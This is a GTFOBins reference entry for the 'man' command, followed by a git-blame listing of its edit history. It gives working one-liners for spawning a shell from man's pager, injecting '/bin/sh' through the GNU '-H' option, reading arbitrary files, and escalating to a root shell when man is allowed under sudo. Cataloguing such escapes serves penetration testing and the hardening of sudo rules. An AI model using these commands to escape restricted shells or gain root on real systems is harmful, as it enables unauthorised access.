GTFOBins.github.io/_gtfobins/man.md

---
description: This invokes the default pager, which is likely to be  [`less`](/gtfobins/less/), other functions may apply.
functions:
  shell:
    - code: |
        man man
        !/bin/sh
    - description: This only works for GNU `man` and requires GNU `troff` (`groff` to be installed).
      code: |
        man '-H/bin/sh #' man
  file-read:
    - code: man file_to_read
  sudo:
    - code: |
        sudo man man
        !/bin/sh
---
First commit 2018-05-21 19:14:41 +00:00			`---`
Fix pager links 2021-02-05 12:41:12 +00:00			description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
First commit 2018-05-21 19:14:41 +00:00			`functions:`
Adopt new function names 2018-10-05 17:55:38 +00:00			`shell:`
Fix YAMLs according to YAMLlint 2018-07-16 13:01:50 +00:00			`- code: \|`
Improve the alternative shell function 2021-02-27 16:09:41 +00:00			`man man`
			`!/bin/sh`
			- description: This only works for GNU `man` and requires GNU `troff` (`groff` to be installed).
			`code: \|`
			`man '-H/bin/sh #' man`
Reorder functions in binaries 2018-07-04 18:26:52 +00:00			`file-read:`
Fix YAMLs according to YAMLlint 2018-07-16 13:01:50 +00:00			`- code: man file_to_read`
Adopt new function names 2018-10-05 17:55:38 +00:00			`sudo:`
Fix YAMLs according to YAMLlint 2018-07-16 13:01:50 +00:00			`- code: \|`
			`sudo man man`
			`!/bin/sh`
Remove the -p option from suid-limited It is useless because: - if Debian-like, it is not supported and does not drop anyway; - otherwise the `system()`-like function already used a shell that dropped the privileges. 2018-05-24 22:57:42 +00:00			`---`